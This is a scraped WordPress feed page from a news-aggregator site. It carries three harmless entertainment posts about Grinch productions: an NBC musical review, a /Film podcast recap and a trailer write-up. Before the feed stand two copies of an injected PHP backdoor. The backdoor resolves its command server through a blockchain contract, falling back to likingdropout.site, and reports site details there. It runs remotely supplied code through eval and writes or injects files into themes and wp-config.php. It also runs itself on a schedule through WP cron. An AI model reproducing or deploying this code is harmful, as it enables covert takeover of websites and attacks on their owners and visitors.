// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Grinch – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 10 Dec 2020 10:34:46 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Grinch – Brief News https://briefnews.eu 32 32 The Grinch Musical: Matthew Morrison Farts, Judges Your Ugly Couch in NBC’s Holiday Production — Grade It! https://briefnews.eu/the-grinch-musical-matthew-morrison-farts-judges-your-ugly-couch-in-nbcs-holiday-production-grade-it/ https://briefnews.eu/the-grinch-musical-matthew-morrison-farts-judges-your-ugly-couch-in-nbcs-holiday-production-grade-it/#respond Thu, 10 Dec 2020 10:34:46 +0000 https://briefnews.eu/the-grinch-musical-matthew-morrison-farts-judges-your-ugly-couch-in-nbcs-holiday-production-grade-it/

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Hatewatchers had their tweeting thumbs at the ready on Wednesday as NBC lifted the curtain on Dr. Seuss’ The Grinch Musical. But was this updated production of the 2006 Broadway show really the cringefest that many expected? Let’s investigate.

Sure, the sight of Matthew Morrison in the iconic character’s green skin and thicc physique was a little jarring at first. But if you think about it, aren’t most things he does a little jarring? Some of us are old enough to remember the time he inspired an entire group of high school students to master the art of twerking on Glee. And when he got caught having sex with that sheep on Younger. And… wait, did we already mention Glee? Either way, this was perfectly on-brand for Morrison and we won’t hear another word about it.

That said, we can’t deny that this fourth wall-breaking moment during the musical’s first hour made us supremely uncomfortable:

Oh, there was also this:

As for the rest of the show, it was perfectly fine. Watching Denis O’Hare (American Horror Story) attempt to tone down his inherent intensity as an older version of The Grinch’s beloved hench-dog was a trip, and Booboo Stewart (Julie and the Phantoms) was endearing as always playing O’Hare’s younger counterpart. (But don’t take our word for it. Just ask this tweet.)

The Whos were fun but unmemorable, save for their enviable cotton candy hair and sick dance moves.

For the sake of those watching from home, the show — which was filmed in London’s Troubadour Theatre — probably would have benefited from the chaotic energy of a live broadcast. Or the sound of an audience, at the very least. We get that there’s a global pandemic afoot, but if every awful award show this season has included a virtual audience, you’d think a musical production could get the same treatment.

But maybe we’re just being grinches. What did you think of NBC’s latest musical event? Grade it in our poll below, then drop a comment with your full review.

Let’s block ads! (Why?)


https://tvline.com/wp-content/uploads/2020/12/the-grinch-musical.jpg

]]> https://briefnews.eu/the-grinch-musical-matthew-morrison-farts-judges-your-ugly-couch-in-nbcs-holiday-production-grade-it/feed/ 0 Water Cooler: Thanksgiving, Creed II, Widows, Aquaman, The Grinch, Lord of the Rings, Fantastic Beasts, Final Table, Princess Switch, Hail Hydra https://briefnews.eu/water-cooler-thanksgiving-creed-ii-widows-aquaman-the-grinch-lord-of-the-rings-fantastic-beasts-final-table-princess-switch-hail-hydra/ https://briefnews.eu/water-cooler-thanksgiving-creed-ii-widows-aquaman-the-grinch-lord-of-the-rings-fantastic-beasts-final-table-princess-switch-hail-hydra/#respond Tue, 27 Nov 2018 08:05:17 +0000 http://briefnews.eu/water-cooler-thanksgiving-creed-ii-widows-aquaman-the-grinch-lord-of-the-rings-fantastic-beasts-final-table-princess-switch-hail-hydra/ the grinch make up

On the November 26, 2018 episode of /Film Daily, /Film editor-in-chief Peter Sciretta is joined by /Film managing editor Jacob Hall, weekend editor Brad Oman, senior writer Ben Pearson, and writers Hoai-Tran Bui and Chris Evangelista to about what they’ve been up to at the Water Cooler.

You can subscribe to /Film Daily on iTunes, Google Play, Overcast, Spotify and all the popular podcast apps (here is the RSS URL if you need it).

Opening Banter: This is the first back to back watercooler episode in /Film Daily history.

At The Water Cooler:

  • What we’ve been Doing:
    • Peter bought Kitra a fancy Breville Barista Express espresso machine for her birthday and they spent a day trying to figure that out.
    • Jacob did a whole bunch of driving for multiple Thanksgiving engagements and visited the terrific Madness Comics and Games outside of Dallas.
    • Brad spent Thanksgiving away from his family for the first time ever and didn’t have turkey for Thanksgiving, dog sat a French Bulldog, went Black Friday shopping, found a cool Snitch ornament at Walmart.
    • Ben celebrated the first annual Vince Guaral-Day, took his sister to The Last Bookstore, and finally stepped into the future with Amazon Prime (and Amazon Fresh)
    • Hoai-Tran was surrounded by babies and dogs at her family Thanksgiving, and helped host her cousin’s baby shower. Also went to her cousin’s NY restaurant Di An Di, which is currently leading the Eater NYC Restaurant of the Year poll.
  • What we’ve been Watching:
    • Peter saw Creed II and Widows, and can finally share his quick reaction to  Aquaman.
    • Chris watched the Jim Carrey version of The Grinch, the entire expanded edition of the Lord of the Rings Trilogy, started watching NYPD Blue on Hulu, and watched the Mac and Me episode of the new Mystery Science Theater 3000.
    • Ben rewatched Lord of the Rings: The Fellowship of the Ring
    • Brad saw Creed II, Fantastic Beasts: The Crimes of Grindelwald, and Can You Ever Forgive Me?. Also watched an episode of The Final Table on Netflix.
    • Jacob watched Thor: Ragnarok, the only movie in existence to appeal to an entire Thanksgiving gathering. He also sampled Netflix’s The Final Table.
    • Hoai-Tran saw At Eternity’s Gate, the first episode of My Brilliant Friend, and watched The Princess Switch twice.
  • What we’ve been Reading:
    • Jacob dipped his toe back into Transmetropolitan.
  • What we’ve been Eating:
    • Peter ate a bunch of bad food while off his diet. At Friendsgiving he tried Ben and Amy’s Shaqaroni and Cheese but fell in love with pumpkin pie dip and the very dangerous Caramel Apple Sangria. I also waited three hours in line for Howlin Rays.
    • Jacob ate two Thanksgiving dinners and made peanut butter pie that he didn’t get to eat.
    • Brad was introduced to the majesty of the Tim Tam Slam, tried Sugar Cookie Toast Crunch, and had Indian food that he didn’t hate.
    • Hoai-Tran learned how to make pho in her new instant pot!
  • What we’ve been Playing:
    • Peter played some tabletop games on Friendsgiving and a game day, including Werewords, Hail Hydra, Detective, and Chameleon.
    • Jacob played more Diablo III and Rogue Legacy. On the table, he played Hail Hydra, News@11, Azul, and Arboretum. He also tortured people with Twisted Sister’s terrible Christmas album.

Other articles mentioned:

 

All the other stuff you need to know:

  • You can find more about all the stories we mentioned on today’s show at slashfilm.com, and linked inside the show notes.
  • /Film Daily is published every weekday, bringing you the most exciting news from the world of movies and television as well as deeper dives into the great features from slashfilm.com.
  • You can subscribe to /Film Daily on iTunes, Google Play, Overcast, Spotify and all the popular podcast apps (RSS).
  • Send your feedback, questions, comments and concerns to us at peter@slashfilm.com. Please leave your name and general geographic location in case we mention the e-mail on the air.
  • Please rate and review the podcast on iTunes, tell your friends and spread the word!
  • Thanks to Sam Hume for our logo.

The post Water Cooler: Thanksgiving, Creed II, Widows, Aquaman, The Grinch, Lord of the Rings, Fantastic Beasts, Final Table, Princess Switch, Hail Hydra appeared first on /Film.

]]> https://briefnews.eu/water-cooler-thanksgiving-creed-ii-widows-aquaman-the-grinch-lord-of-the-rings-fantastic-beasts-final-table-princess-switch-hail-hydra/feed/ 0 ‘The Grinch’ Trailer: The Mean Green Menace Returns https://briefnews.eu/the-grinch-trailer-the-mean-green-menace-returns/ https://briefnews.eu/the-grinch-trailer-the-mean-green-menace-returns/#respond Thu, 08 Mar 2018 16:19:21 +0000 http://briefnews.eu/the-grinch-trailer-the-mean-green-menace-returns/ the grinch trailer

That mean green bastard The Grinch is back in an all-new animated movie. Yes, that nasty wasty skunk is returning to ruin Christmas for the Whos down in Whoville, so you better get out of his way. The new The Grinch trailer awaits you below, in all its green glory.

Then he got an idea. An awful idea. The Grinch got a wonderful, awful idea! And that idea was another remake of How The Grinch Stole Christmas.

Dr. Suess’s classic about a really grumpy monster who hates the holidays was immortalized in a 1966 TV special animated by Chuck Jones and featuring the voice of Boris Karloff. The character got the big screen treatment in 2000 with Ron Howard’s live-action How The Grinch Stole Christmas. In that film, Jim Carrey was buried under ten tons of green makeup and hammed it up big time, giving audiences a headache in the process. Now we have The Grinch, an animated take on the tale from Peter Candeland and The Secret Life of Pets director Yarrow Cheney. Will this latest take live-up to the 1966 film? Watch the new The Grinch trailer and decide for yourself.

The Grinch Trailer

Well, that certainly looks colorful. One thing the new The Grinch has going for it: the Grinch is voiced by Benedict Cumberbatch. Cumberbatch has made a career playing jerks, and he has a distinct voice, so he’ll probably do a good job. The Grinch is the latest animated film from Illumination and Universal Pictures, the folks behind those endless Minions movies, as well as The Secret Life of Pets and Sing. The Grinch looks to be more of the same. Whether that’s a good thing or not is up to you!

The Grinch was originally supposed to open November 2017, but will now hit theaters November 9, 2018.

Each year at Christmas they disrupt his tranquil solitude with their increasingly bigger, brighter and louder celebrations. When the Whos declare they are going to make Christmas three times bigger this year, the Grinch realizes there is only one way for him to gain some peace and quiet: he must steal Christmas. To do so, he decides he will pose as Santa Claus on Christmas Eve, even going so far as to trap a lackadaisical misfit reindeer to pull his sleigh.

Meanwhile, down in Who-ville, Cindy-Lou Who—a young girl overflowing with holiday cheer—plots with her gang of friends to trap Santa Claus as he makes his Christmas Eve rounds so that she can thank him for help for her overworked single mother. As Christmas approaches, however, her good-natured scheme threatens to collide with the Grinch’s more nefarious one. Will Cindy-Lou achieve her goal of finally meeting Santa Claus? Will the Grinch succeed in silencing the Whos’ holiday cheer once and for all?

the grinch poster

